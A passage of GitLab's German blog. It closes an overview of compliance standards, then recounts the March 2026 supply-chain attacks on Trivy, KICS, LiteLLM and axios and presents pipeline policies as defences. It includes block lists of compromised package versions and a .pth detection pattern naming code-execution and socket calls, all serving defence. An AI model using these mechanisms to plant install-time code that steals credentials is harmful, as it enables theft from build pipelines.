Verarbeitung, Zweckbindung, Datenminimierung, Integrität, Vertraulichkeit und Rechenschaftspflicht. Wie diese Anforderungen technisch und organisatorisch umzusetzen sind, bleibt bewusst offen. In der Praxis bildet die DSGVO deshalb häufig den Rahmen für Richtlinien und Verfahren. Sie wird somit nicht isoliert umgesetzt, sondern mit auditierbaren Standards wie ISO/IEC 27001 kombiniert, um daraus strukturierte Kontrollziele und Managementprozesse ableiten zu können.\n\nFür die Softwareentwicklung hat die DSGVO besonders relevante Implikationen. Themen wie Zugriffskontrolle, Rollen- und Berechtigungskonzepte, Protokollierung von Änderungen, vor allem aber sichere Deployments oder der kontrollierte Umgang mit Daten sind die zentrale Grundlage, um Datenschutzanforderungen praktisch umsetzen zu können. Hinzu kommt die Pflicht, Nachweise über getroffene Maßnahmen zu erbringen, etwa im Rahmen von behördlichen Prüfungen oder Auskunftsersuchen.\n\n### 3. NIST CSF\n\nDas NIST Cybersecurity Framework ist kein Gesetz oder klassischer Compliance-Standard im engeren Sinn. Es ist also weder regulatorisch verpflichtend, noch gehört es zu den Audit-Standards wie ISO 27001 oder SOC 2. Trotzdem dient es für Unternehmen im IT-Bereich als Orientierung für Sicherheitsmaßnahmen oder als Ergänzung zu ISO-basierten [Compliance-Management-Systemen](https://about.gitlab.com/de-de/blog/compliance-management-system/).\n\nDer Kern des Frameworks besteht aus sechs Funktionen: \n\n* Verwalten *(Govern)*\n* Identifizieren *(Identify)*\n* Schützen *(Protect)*\n* Erkennen *(Detect)*\n* Reagieren *(Respond)*\n* Wiederherstellen *(Recover)*\n\nDiese unterteilen sich in 22 Kategorien, welche wiederum selbst in 106 Subkategorien unterteilt sind. So deckt das NIST-Cybersecurity-Framework ein breites Spektrum an Compliance-Bezügen ab und bietet damit vielfältige Möglichkeiten als Strukturierungs- und Reifegradmodell.\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773847490/gliu4v6txat5vwlarf2g.png \"Das NIST Cybersecurity Framework\")\n\n### 4. SOC 2\n\nSOC 2 ist ein Compliance-Standard, der speziell für serviceorientierte Unternehmen entwickelt wurde, insbesondere für SaaS-, Cloud- und Plattformanbieter. Er wurde in den USA entwickelt und ist rechtlich nicht verpflichtend, spielt aber speziell bei Kund(inn)en mit internationalem Geschäft oder US-Bezug eine wichtige Rolle, wenn es um Vertrauen, Transparenz und Nachweisbarkeit von internen Kontrollen geht.\n\nDer SOC-2-Standard besteht aus fünf sog. Trust Services Criteria: \n\n* Sicherheit *(Security)*\n* Verfügbarkeit *(Availability)*\n* Verarbeitungsintegrität *(Processing Integrity)*\n* Vertraulichkeit *(Confidentiality)*\n* Datenschutz *(Privacy)*. \n\nAllerdings ist nur der Aspekt Sicherheit verpflichtend – die anderen vier Kriterien können je nach Geschäftsmodell ergänzt werden. Um operative Prozesse und deren Anwendung nachvollziehbar darzustellen, unterscheidet SOC 2 zudem zwischen zwei Typen: \n\n* Type I bewertet die Gestaltung von Kontrollen.\n* Type II prüft deren Wirksamkeit über einen festgelegten Zeitraum.\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773847544/xwoqmhpf058xl8vxddoe.png \"SOC 2 Compliance\")\n\n### 5. Branchenspezifische und sektorale Standards\n\nNeben branchenübergreifenden Standards gibt es im Compliance-Management auch Richtlinien, die sich gezielt an bestimmte Branchen richten. Sie spielen primär dann eine Rolle, wenn Software direkt in regulierten Kontexten eingesetzt wird:\n\n* **PCI DSS** betrifft Organisationen, die Kreditkartendaten verarbeiten, speichern oder übertragen. Der Standard definiert konkrete technische und organisatorische Sicherheitsanforderungen zu Belangen rund um Netzwerksegmentierung, Umgang mit Zugangsdaten oder Überwachung von Systemen. PCI DSS ist stark technisch geprägt und auch wenn es kein Gesetz darstellt, ist die Einhaltung meist vertraglich geregelt und beim Umgang mit sensiblen Kreditkartendaten faktisch verpflichtend.\n* **NIS2** ist eine europäische Richtlinie, die von den Mitgliedstaaten in nationales Recht umgesetzt wird und sich hinsichtlich Management‑ und Governance‑Verantwortung ausdrücklich an die Unternehmensführung richtet. Betroffen sind verschiedene Sektoren wie Energie, Verkehr und Gesundheitswesen sowie bestimmte Unternehmen ab einer definierten Größe. Auch wenn sie keinen klassischen Compliance-Standard bilden, ziehen [NIS2-Anforderungen](https://about.gitlab.com/de-de/blog/how-gitlab-helps-meet-nis2-requirements/) in der operativen Umsetzung Implikationen für IT- und Softwareprozesse z. B. in den Bereichen Cybersecurity, Risikomanagement und Meldepflichten nach sich.\n* **HIPAA** (Health Insurance Portability and Accountability Act) ist ein US-Gesetz und richtet sich insbesondere in Form der HIPAA Security und Privacy Rule an Organisationen, die mit Gesundheitsdaten in den USA arbeiten. Sie legt strenge Anforderungen an den Schutz sensibler Informationen fest, vor allem in Bezug auf Zugriffsbeschränkungen, Protokollierung und den sicheren Betrieb von IT‑Systemen. Für europäische Unternehmen ist HIPAA dann relevant, wenn Produkte oder Services für den US‑Gesundheitsmarkt entwickelt oder dort betrieben werden.\n\n## Wie GitLab Compliance-Standards in DevSecOps-Prozesse integriert\n\nCompliance-Standards entfalten ihren Nutzen erst dann vollständig, wenn sie nicht neben der täglichen Arbeit existieren, sondern Teil der Entwicklungs- und Betriebsprozesse sind. Genau hier setzt eine integrierte DevSecOps-Plattform wie GitLab an. Anstatt Compliance als separaten Prüfprozess zu behandeln, kannst du Anforderungen dort abbilden, wo Code entsteht, geprüft und ausgeliefert wird.\n\nDas integrierte [Compliance Center von GitLab](https://about.gitlab.com/de-de/solutions/software-compliance/) bietet eine zentrale Steuerungsebene für Compliance-relevante Informationen. Verantwortliche erhalten einen konsolidierten Überblick darüber, welche Projekte welchen Standards unterliegen, welche Richtlinien aktiv sind und wo Abweichungen auftreten:\n\n* Ordne Standards Projekten und Teams zu und übersetze die Anforderungen aus Standards wie ISO 27001, SOC 2 oder NIS2 in definierte Vorgaben für Projekte. Dadurch wird klar, welche Repositories im Geltungsbereich bestimmter Compliance-Anforderungen liegen und welche zusätzlichen Kontrollen dort greifen müssen.\n* Freigaben, Sicherheitsprüfungen oder verpflichtende Pipeline-Schritte werden nicht manuell eingefordert, sondern einfach technisch hinterlegt. So entsteht eine konsistente Umsetzung von Compliance-Anforderungen, die unabhängig von einzelnen Personen oder Teams funktioniert und direkt mit Entwicklungs- und CI/CD-Prozessen verknüpft ist.\n* Änderungen an Code, Konfigurationen oder Zugriffsrechten werden automatisch protokolliert und sind revisionssicher nachvollziehbar. Auditnachweise entstehen als Nebenprodukt der täglichen Arbeit, sodass du sie nicht nachträglich zusammensuchen musst.\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773847602/jq0trqx4hqkjmtrheex8.png \"Compliance Center in GitLab\")\n\nCompliance-Standards sollten nie als statische Vorgaben behandelt, sondern als lebendiger Bestandteil von DevSecOps-Prozessen verstanden werden. Mit dem notwendigen Verständnis und dem richtigen Tool werden sie hingegen strukturierbar, umsetzbar und überprüfbar – genau dort, wo moderne Software entsteht.\n\n> **Verankere regulatorische Anforderungen direkt im Entwicklungsprozess**\n>\n> Automatisiere dein Compliance-Management, stärke dabei deine Entwicklerteams und skaliere Compliance nachhaltig im Unternehmen!\n>\n> **[Jetzt starten!](https://about.gitlab.com/de-de/free-trial/)**\n\n## Häufig gestellte Fragen zu Compliance-Standards\n\n### Was kann bei Nichteinhaltung von Compliance-Standards passieren?\n\nBei Nichteinhaltung von Compliance-Standards drohen rechtliche, finanzielle und operative Konsequenzen. Dazu zählen hohe Geldstrafen und rechtliche Schritte durch Aufsichtsbehörden, Schadensersatzforderungen, Vertragskündigungen sowie der Verlust von Zertifizierungen. Zusätzlich können Reputationsschäden entstehen, die das Vertrauen von Kundinnen und Kunden bzw. Geschäftspartnerinnen und Geschäftspartnern einträchtigen. Intern führen Verstöße häufig zu Betriebsunterbrechungen, erhöhtem Kontrollaufwand und persönlichen Haftungsrisiken für Verantwortliche.\n\n### Welche Compliance-Standards sind noch wichtig?\n\nWelche Compliance-Standards für ein Unternehmen gelten, hängt von Branche, Markt, Unternehmensgröße und regulatorischem Umfeld ab. So sind im Finanzwesen noch die Standards ISO 22301 (Business Continuity), BAIT und MaRisk wichtig, während für Industrie und Automobil TISAX und IEC 62443 eine Rolle spielen. Im Gesundheitswesen und Life Sciences zählen hingegen ISO 13485 sowie GxP-Richtlinien, und Energie und kritische Infrastruktur müssen ISO 27019 und KRITIS-Anforderungen berücksichtigen.\n\n### Was ist der Unterschied zwischen ISO 27000 und ISO 27001?\n\nISO 27000 ist eine Normenfamilie, die Begriffe, Grundlagen und einen Überblick zum Informationssicherheitsmanagement liefert. ISO 27001 ist Teil dieser Familie und definiert konkrete Anforderungen an ein Informationssicherheits-Managementsystem (ISMS). Während ISO 27000 erklärend und einordnend wirkt, ist ISO 27001 die prüf- und zertifizierbare Norm, nach der Organisationen ihre Informationssicherheit offiziell nachweisen können.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773845541/kilohgeyn6zih92gpbx9.png",{"featured":645,"template":796,"slug":1177},"compliance-standards",{"category":772,"slug":770,"posts":1179},[1180,1191,1204],{"content":1181,"config":1189},{"body":1182,"title":1183,"description":1184,"category":770,"tags":1185,"authors":1186,"heroImage":1188,"date":1130},"\n***Hinweis: Das GitLab-Produkt hat keine der in diesem Beitrag genannten kompromittierten Paketversionen verwendet.***\n\n\nInnerhalb von 12 Tagen haben vier separate Supply-Chain-Angriffe gezeigt, dass CI/CD-Pipelines zu einem bevorzugten Ziel für versierte Bedrohungsakteure geworden sind.\n\n\nZwischen dem 19. und 31. März 2026 kompromittierten Angreifer:\n\n\n* einen Open-Source-Security-Scanner (Trivy)\n\n* einen Infrastructure-as-Code-Scanner (Checkmarx KICS)\n\n* ein AI-Model-Gateway (LiteLLM)\n\n* einen JavaScript-HTTP-Client (axios)\n\n\nAlle Angriffe teilten dieselbe Angriffsfläche: die Build-Pipeline.\n\nDieser Artikel zeigt, [was passiert ist](#trusted-by-millions-compromised-in-minutes), [warum Pipelines besonders anfällig sein können](#the-patterns-behind-these-attacks) und wie zentrale Policy-Durchsetzung mit GitLab – mithilfe der unten beschriebenen Policies – diese Angriffsklassen [blockieren, erkennen und eindämmen](#how-gitlab-pipeline-execution-policies-address-each-attack-pattern) kann, bevor sie die Produktion erreichen.\n\n\n\n## Millionenfach vertraut, in Minuten kompromittiert\n\n\nHier die Zeitleiste der Supply-Chain-Angriffe:\n\n\n### 19. März: Trivy-Security-Scanner wird zum Angriffsvektor\n\n\n[Trivy](https://github.com/aquasecurity/trivy) ist einer der weltweit am häufigsten eingesetzten Open-Source-Vulnerability-Scanner. Es ist das Tool, das Teams *innerhalb ihrer Pipelines* ausführen, um Schwachstellen zu finden.\n\n\nAm 19. März nutzte eine Bedrohungsgruppe namens [TeamPCP kompromittierte Zugangsdaten](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/), um Schadcode per Force-Push in 76 von 77 Versions-Tags der GitHub Action `aquasecurity/trivy-action` sowie alle 7 Tags von `aquasecurity/setup-trivy` einzuschleusen. Gleichzeitig veröffentlichten sie ein trojanisiertes Trivy-Binary (v0.69.4) über offizielle Distributionskanäle. Die Payload war eine Credential-Stealing-Malware, die Umgebungsvariablen, Cloud-Tokens, SSH-Schlüssel und CI/CD-Secrets aus jeder Pipeline exfiltrierte, die einen Trivy-Scan ausführte.\n\n\nDem Vorfall wurde [CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634) mit einem CVSS-Score von 9,4 zugewiesen. Die Cybersecurity and Infrastructure Security Agency (CISA) nahm ihn innerhalb weniger Tage in den Katalog der bekannten ausgenutzten Schwachstellen auf.\n\n\n### 23. März: Checkmarx KICS als nächstes Ziel\n\nMit gestohlenen Zugangsdaten wandte sich TeamPCP dem Open-Source-Projekt KICS (Keeping Infrastructure as Code Secure) von Checkmarx zu. Sie kompromittierten die GitHub Actions `ast-github-action` und `kics-github-action` und [schleusten dieselbe Credential-Stealing-Malware ein](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html). Zwischen 12:58 und 16:50 UTC am 23. März exfiltrierte jede CI/CD-Pipeline, die diese Actions referenzierte, im Hintergrund sensible Daten – darunter API-Schlüssel, Datenbankpasswörter, Cloud-Access-Tokens, SSH-Schlüssel und Service-Account-Zugangsdaten.\n\n\n### 24. März: LiteLLM über gestohlene Trivy-Zugangsdaten kompromittiert\n\n\nLiteLLM, ein LLM-API-Proxy mit 95 Millionen monatlichen Downloads, war das nächste Ziel. TeamPCP [veröffentlichte kompromittierte Versionen](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html) (1.82.7 und 1.82.8) auf PyPI – mithilfe von Zugangsdaten, die aus LiteLLMs eigener CI/CD-Pipeline erbeutet wurden, in der Trivy zum Scannen eingesetzt wurde.\n\n\nDie Malware in Version 1.82.7 nutzte eine Base64-kodierte Payload, die direkt in `litellm/proxy/proxy_server.py` injiziert wurde und beim Import ausgeführt wurde. Die Version für 1.82.8 verwendete eine `.pth`-Datei – ein Python-Mechanismus, der automatisch beim Interpreter-Start ausgeführt wird. Allein die Installation von LiteLLM reichte aus, um die Payload auszulösen. Die Angreifer verschlüsselten die erbeuteten Daten (SSH-Schlüssel, Cloud-Tokens, .env-Dateien, Kryptowährungs-Wallets) und exfiltrierten sie an `models.litellm.cloud`, eine Lookalike-Domain.\n\n\n### 31. März: Quellcode eines AI-Coding-Assistenten durch einfachen Packaging-Fehler geleakt\n\nWährend die TeamPCP-Kampagne noch andauerte, lieferte ein Softwareunternehmen ein npm-Paket mit einer 59,8 MB großen Source-Map-Datei aus – die den vollständigen, unminifizierten TypeScript-Quellcode seines AI-Coding-Assistenten referenzierte, gehostet im eigenen Cloudflare-R2-Bucket des Unternehmens.\n\n\nDas Leak legte 1.900 TypeScript-Dateien, über 512.000 Codezeilen, 44 versteckte Feature-Flags, unveröffentlichte Modell-Codenamen und den vollständigen System-Prompt offen – für jeden, der wusste, wo er suchen musste. Wie der Entwickler [Gabriel Anhaia erklärte](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo): „Eine einzige falsch konfigurierte .npmignore- oder files-Angabe in der package.json kann alles offenlegen.\"\n\n### 31. März: axios und ein weiterer Trojaner in der Supply Chain\n\nAm selben Tag zielte eine weitere Kampagne [auf das npm-Paket axios](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html) – einen JavaScript-HTTP-Client mit über 100 Millionen wöchentlichen Downloads.\n\n\nÜber ein kompromittiertes Maintainer-Konto wurden manipulierte Versionen (1.14.1 und 0.30.4) veröffentlicht. Eine eingeschleuste Dependency (`plain-crypto-js@4.2.1`) installierte einen Remote-Access-Trojaner, der unter macOS, Windows und Linux lauffähig war. Beide Release-Branches wurden innerhalb von 39 Minuten getroffen, und die Malware war so konzipiert, dass sie sich nach der Ausführung selbst löschte.\n\n\n## Die Muster hinter diesen Angriffen\n\n\nÜber alle fünf Vorfälle hinweg zeichnen sich drei Angriffsmuster ab – und alle nutzen das implizite Vertrauen aus, das CI/CD-Pipelines ihren Eingaben entgegenbringen.\n\n\n### Muster 1: Vergiftete Tools und Actions\n\n\nDie TeamPCP-Kampagne nutzte eine grundlegende Annahme aus: dass die Sicherheitstools, die *innerhalb* der Pipeline laufen, selbst vertrauenswürdig sind. Wenn ein GitHub-Action-Tag oder eine PyPI-Paketversion auf Schadcode verweist, führt die Pipeline diesen mit vollem Zugriff auf Umgebungs-Secrets, Cloud-Zugangsdaten und Deployment-Tokens aus. Es gibt keinen Verifizierungsschritt, weil die Pipeline dem Tag vertraut.\n\n\n**Empfohlene Pipeline-Kontrolle:** Tools und Actions an unveränderliche Referenzen (Commit-SHAs oder Image-Digests) pinnen statt an veränderliche Versions-Tags. Wo Pinning nicht praktikabel ist, die Integrität von Tools und Dependencies gegen bekannte Prüfsummen oder Signaturen verifizieren. Die Ausführung blockieren, wenn die Verifizierung fehlschlägt.\n\n\n### Muster 2: Packaging-Fehlkonfigurationen, die IP leaken\n\n\nEine fehlkonfigurierte Build-Pipeline lieferte Debugging-Artefakte direkt im Produktionspaket aus. Eine falsch konfigurierte `.npmignore`- oder files-Angabe in der package.json reicht dafür aus. Ein Validierungsschritt vor der Veröffentlichung sollte das jedes Mal abfangen.\n\n\n**Empfohlene Pipeline-Kontrolle:** Vor jeder Paketveröffentlichung automatisierte Prüfungen ausführen, die den Paketinhalt gegen eine Allowlist validieren, unerwartete Dateien (Source Maps, interne Konfigurationen, .env-Dateien) kennzeichnen und den Publish-Schritt blockieren, wenn die Prüfungen fehlschlagen.\n\n\n### Muster 3: Schwachstellen in transitiven Dependencies\n\n\nDer axios-Angriff zielte nicht nur auf direkte axios-Nutzer, sondern auf jeden, dessen Dependency-Tree auf die kompromittierte Version auflöste. Eine einzige vergiftete Dependency in einem Lockfile kann sich so über die gesamte Build-Infrastruktur einer Organisation ausbreiten.\n\n\n**Empfohlene Pipeline-Kontrolle:** Dependency-Prüfsummen gegen den bekannten Lockfile-Stand vergleichen. Unerwartete neue Dependencies oder Versionsänderungen erkennen. Builds blockieren, die nicht verifizierte Pakete einführen.\n\n\n## Wie GitLab Pipeline Execution Policies jedes Angriffsmuster adressieren\n\n\nGitLab Pipeline Execution Policies ([PEPs](https://docs.gitlab.com/user/application_security/policies/pipeline_execution_policies/)) ermöglichen es Security- und Plattformteams, verpflichtende CI/CD-Jobs in jede Pipeline einer Organisation einzufügen – unabhängig davon, was in der `.gitlab-ci.yml` definiert ist. Durch PEPs definierte Jobs können nicht übersprungen werden, auch nicht mit den Direktiven `[skip ci]` oder `[no_pipeline]`. Jobs können in *reservierten* Stages (`.pipeline-policy-pre` und `.pipeline-policy-post`) ausgeführt werden, die die Pipeline des Entwicklungsteams einrahmen.\n\n\nWir haben einsatzbereite Pipeline Execution Policies für alle drei Muster als Open-Source-Projekt veröffentlicht: [Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies). Diese Policies sind unabhängig voneinander deploybar, und jede wird mit Testdaten für Verstöße ausgeliefert, um sie vorab zu testen. So funktioniert jede einzelne.\n\n\n### Use Case 1: Versehentliche Offenlegung beim Package-Publishing verhindern\n\n\n**Problem:** Eine Source-Map-Datei landete im npm-Paket eines AI-Coding-Tools, weil die Build-Pipeline die Validierung beim Publishing übersprungen hatte.\n\n\n**PEP-Ansatz:** Wir haben eine Open-Source Pipeline Execution Policy für genau diese Fehlerklasse erstellt: [Artifact Hygiene](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads).\n\n\nDie Policy injiziert `.pipeline-policy-pre`-Jobs, die den Artefakttyp (npm-Paket, Docker-Image oder Helm-Chart) automatisch erkennen und den Inhalt prüfen, bevor ein Publish-Schritt ausgeführt wird. Für npm-Pakete führt sie drei Prüfungen durch:\n\n\n1. **File-Pattern-Blocklist.** Scannt die npm-pack-Ausgabe nach Source Maps (.map), Testverzeichnissen, Build-Konfigurationen, IDE-Einstellungen und src/-Verzeichnissen.\n\n\n2. **Package-Size-Gate.** Blockiert Pakete über 50 MB – wie das 59,8-MB-Paket, das den AI-Tool-Quellcode leakte.\n\n\n3. **sourceMappingURL-Scan.** Erkennt externe URLs (das R2-Bucket-Muster, das den Quellcode eines großen AI-Unternehmens offenlegte), Inline-data:-URIs und lokale Dateireferenzen in JavaScript-Bundles.\n\n\nWenn Verstöße gefunden werden, schlägt die Pipeline mit einem klaren Bericht in den CI-Job-Logs fehl:\n\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy.\nIf this is a false positive, contact the security team to update the policy project or exclude this project.\n```\n\nDie Policy hat keine vom Nutzer konfigurierbaren CI-Variablen. Das Entwicklungsteam kann sie weder deaktivieren noch umgehen. Ausnahmen werden vom Security-Team auf Policy-Ebene verwaltet – das gewährleistet einen bewussten Prozess und einen lückenlosen Audit-Trail.\n\n\nDas Repository enthält ein Testprojekt mit absichtlichen Verstößen (examples/leaky-npm-package/), um die Policy in Aktion zu sehen, bevor sie in der Organisation ausgerollt wird. Die [README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md) enthält eine vollständige Schnellstart-Anleitung für Einrichtung und Deployment.\n\n\n**Was das abfängt:** Jede einzelne dieser Kontrollen hätte das Source-Code-Leak des AI-Unternehmens wahrscheinlich verhindert:\n\n\n* Die Source-Map-Datei löst die File-Pattern-Blocklist aus.\n\n* Die Größe von 59,8 MB löst das Size-Gate aus.\n\n* Die sourceMappingURL mit Verweis auf einen externen R2-Bucket löst den URL-Scan aus.\n\n\n### Use Case 2: Dependency-Tampering und Lockfile-Manipulation erkennen\n\n\n**Problem:** Der axios-Angriff führte eine bösartige transitive Dependency (`plain-crypto-js`) ein, die bei der Installation einen RAT ausführte. Jeder, der während des Kompromittierungsfensters `npm install` ausführte, zog den Trojaner mit.\n\n\n**PEP-Ansatz:** Die [Dependency Integrity Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml) injiziert .pipeline-policy-pre-Jobs, die das Paket-Ökosystem (npm oder Python) automatisch erkennen und drei Prüfungen durchführen:\n\n\n**Für npm-Projekte** (ausgelöst durch `package-lock.json`, `yarn.lock` oder `pnpm-lock.yaml`):\n\n\n1. **Lockfile-Integrität.** Führt `npm ci --ignore-scripts` aus, was fehlschlägt, wenn sich `node_modules` vom Lockfile-Stand unterscheiden würden. Dies erkennt Fälle, in denen die package.json aktualisiert, aber das Lockfile nicht neu generiert wurde, und verifiziert gleichzeitig SRI-Integritäts-Hashes.\n\n2. **Blocked-Package-Scan.** Gleicht den vollständigen Dependency-Tree des Lockfiles mit `blocked-packages.yml` ab – einer von GitLab gepflegten Liste bekannter kompromittierter Paketversionen. Die mitgelieferte Blocklist enthält `axios@1.14.1`, `axios@0.30.4` und `plain-crypto-js@4.2.1`.\n\n3. **Erkennung nicht deklarierter Dependencies.** Vergleicht nach der Installation den Inhalt von node_modules mit dem Lockfile. Jedes Paket, das auf der Festplatte vorhanden, aber nicht im Lockfile aufgeführt ist, deutet auf Manipulation hin (z. B. ein kompromittiertes postinstall-Skript, das zusätzliche Pakete nachlädt).\n\n\n**Für Python-Projekte** (ausgelöst durch `requirements.txt`, `Pipfile.lock`, `poetry.lock` oder `uv.lock`):\n\n\n1. **Lockfile-Integrität.** Installation in einer isolierten virtuellen Umgebung mit Verifizierung, dass die Installation aus dem Lockfile erfolgreich ist.\n\n2. **Blocked-Package-Scan.** Derselbe Blocklist-Ansatz. Die mitgelieferte Liste enthält `litellm==1.82.7` und `litellm==1.82.8`.\n\n3. **.pth-Datei-Erkennung.** Scannt site-packages nach `.pth`-Dateien, die ausführbare Code-Muster enthalten (`import os`, `exec(`, `eval(`, `__import__`, `subprocess`, `socket`). Genau diesen Mechanismus nutzte die LiteLLM-Backdoor.\n\n\nBei einem erkannten Verstoß:\n\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\n\nDie Policy läuft im *Strict Mode*: Jede Dependency, die nicht im committeten Lockfile vorhanden ist, blockiert die Pipeline. Wenn eine neue Dependency hinzugefügt werden soll, wird das aktualisierte Lockfile committet. Die Policy verifiziert, dass die installierte Version mit der committeten Version übereinstimmt. Wenn etwas auftaucht, das nicht committet wurde (z. B. eine transitive Dependency, die über ein kompromittiertes Upstream-Paket injiziert wurde), blockiert die Pipeline.\n\n\n**Was das abfängt:** Die Einführung von `plain-crypto-js` als neue, bisher unbekannte Dependency würde durch die Erkennung nicht deklarierter Dependencies gemeldet. Die Version `axios@1.14.1` wird durch den Blocked-Package-Scan erkannt. Die `.pth`-Datei von LiteLLM wird durch die .pth-Erkennung gefunden. Jeder Angriff hat mindestens ein – und oft zwei – unabhängige Erkennungssignale.\n\n\n### Use Case 3: Kompromittierte Tools vor der Ausführung erkennen und blockieren\n\n\n**Problem:** TeamPCP ersetzte vertrauenswürdige Trivy- und Checkmarx-GitHub-Action-Tags durch bösartige Versionen. Jede Pipeline, die diese Tags referenzierte, führte Credential-Stealing-Malware aus.\n\n\n**PEP-Ansatz:** Die [Tool Integrity Policy](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml) injiziert einen `.pipeline-policy-pre`-Job, der die GitLab CI Lint API abfragt (oder als Fallback die `.gitlab-ci.yml` auswertet), die Container-Image-Referenzen extrahiert und mit einer vom Security-Team gepflegten Allowlist genehmigter Images abgleicht.\n\n\nDie Allowlist (`approved-images.yml`) unterstützt drei Kontrollen pro Image:\n\n\n**Genehmigte Repositories:** Nur Images aus gelisteten Repositories sind zulässig. Ein unbekanntes Repository blockiert die Pipeline.\n\n\n**Erlaubte Tags:** Innerhalb eines genehmigten Repositorys sind nur bestimmte Tags zulässig. Das verhindert den Drift zu ungetesteten Versionen.\n\n\n**Blockierte Tags:** Bekannte kompromittierte Versionen können explizit blockiert werden, selbst wenn das Repository genehmigt ist. Die mitgelieferte Allowlist blockiert `aquasec/trivy:0.69.4` bis `0.69.6` – genau die Versionen, die TeamPCP trojanisiert hatte.\n\n\nBei einem erkannten Verstoß schlägt die Pipeline fehl, bevor ein anderer Job ausgeführt wird:\n\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n - tag '0.69.4' is known-compromised\nThis check is enforced by a Pipeline Execution Policy.\n```\n\n\nDie Allowlist wird über Merge Requests gegen das Policy-Projekt gepflegt. Um ein neues genehmigtes Image hinzuzufügen, öffnet das Security-Team einen MR. Um auf eine neue Kompromittierung zu reagieren, wird ein blockierter Tag hinzugefügt. Keine Code-Änderungen nötig – nur YAML.\n\n\n**Was das abfängt:** Wenn Images mit nicht genehmigten Tags erkannt werden, vergleicht die Policy die Image-Repository-Namen und Tags mit der Allowlist. Ein fehlgeschlagener Abgleich blockiert die Pipeline, bevor ein Scanner ausgeführt wird – und verhindert so die Exfiltration von Zugangsdaten.\n\n\n*Hinweis: Durch Erweiterung des obigen Beispiels können PEPs auch das Pinning auf Digests statt Tags erzwingen, was gegen Force-Pushes immun ist. Dieses Beispiel demonstriert ein einfacheres Tag-basiertes Enforcement-Muster.*\n\n\n## Über PEPs hinaus: GitLabs Supply-Chain-Schutzmaßnahmen\n\n\nPipeline Execution Policies sind die Enforcement-Schicht – sie funktionieren aber am besten als Teil einer breiteren Defense-in-Depth-Strategie. GitLab bietet mehrere Funktionen, die PEPs beim Supply-Chain-Schutz ergänzen:\n\n\n### Secret Detection\n\n\n[GitLab Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/) verhindert, dass Zugangsdaten überhaupt im Repository landen, und reduziert so erheblich, was ein kompromittiertes Pipeline-Tool abgreifen kann. Im Kontext der Angriffe vom März 2026:\n\n\n* In Repositories gespeicherte Zugangsdaten sind sowohl leichter für Angreifer auffindbar als auch langsamer zu rotieren. Der Trivy-Vorfall zeigte, dass selbst der Rotationsprozess ausgenutzt werden kann: Die Rotation von Aqua Security war nicht atomar, und der Angreifer erbeutete neu ausgestellte Tokens, bevor die alten vollständig widerrufen waren. GitLab Secret Detection umfasst die automatische Revokation geleakter GitLab-Tokens sowie eine Partner-API, die Drittanbieter benachrichtigt, damit diese ihre Zugangsdaten widerrufen – das beschleunigt die Reaktion im Falle eines Sicherheitsvorfalls.\n\n\n* Secret Detection in Kombination mit ordnungsgemäßem Secret-Management (kurzlebige Tokens, Vault-gestützte Zugangsdaten, minimale Pipeline-Secret-Exposition) begrenzt, was ein Angreifer erreichen kann – selbst wenn ein vertrauenswürdiges Tool kompromittiert wird.\n\n\n### Dependency Scanning via Software Composition Analysis (SCA)\n\n\n[GitLab Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/) identifiziert bekannte Schwachstellen in Projektabhängigkeiten durch Analyse von Lockfiles und Manifests. Im Kontext der Angriffe vom März 2026:\n\n\n* Für LiteLLM werden die kompromittierten Versionen (1.82.7, 1.82.8) in GitLabs Advisory-Datenbank geführt und betroffene Python-Projekte automatisch gemeldet.\n\n\n* Für axios identifiziert Dependency Scanning die kompromittierten Versionen (1.14.1, 0.30.4) über alle Projekte der Organisation hinweg – das gibt Security-Teams eine zentrale Ansicht zur Bewertung des Blast-Radius und zur Priorisierung der Credential-Rotation.\n\n\n* Ebenso werden alle npm-Pakete, die durch die CanisterWorm-Propagation von TeamPCP kompromittiert wurden, gemeldet, wenn sie in Verwendung sind.\n\n\n[GitLab Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/) erkennt verwundbare Container-Images in den Deployments. Für den Trivy-Vorfall meldet Container Scanning die trojanisierten Trivy-Docker-Images (0.69.4 bis 0.69.6), wenn sie in der Container Registry oder in Deployment-Manifests auftauchen.\n\n\n### Merge-Request-Approval-Policies\n\n\n[Merge-Request-Approval-Policies](https://docs.gitlab.com/user/application_security/policies/merge_request_approval_policies/) können die Genehmigung durch das Security-Team erfordern, bevor Änderungen an Dependency-Lockfiles oder CI/CD-Konfigurationen gemergt werden. Das stellt einen menschlichen Kontrollpunkt für genau die Art von Änderungen sicher, die Supply-Chain-Angriffe typischerweise einführen.\n\n\n### Demnächst: Dependency Firewall, Artifact Registry und SLSA Level 3 Attestation & Verification\n\n\nKommende 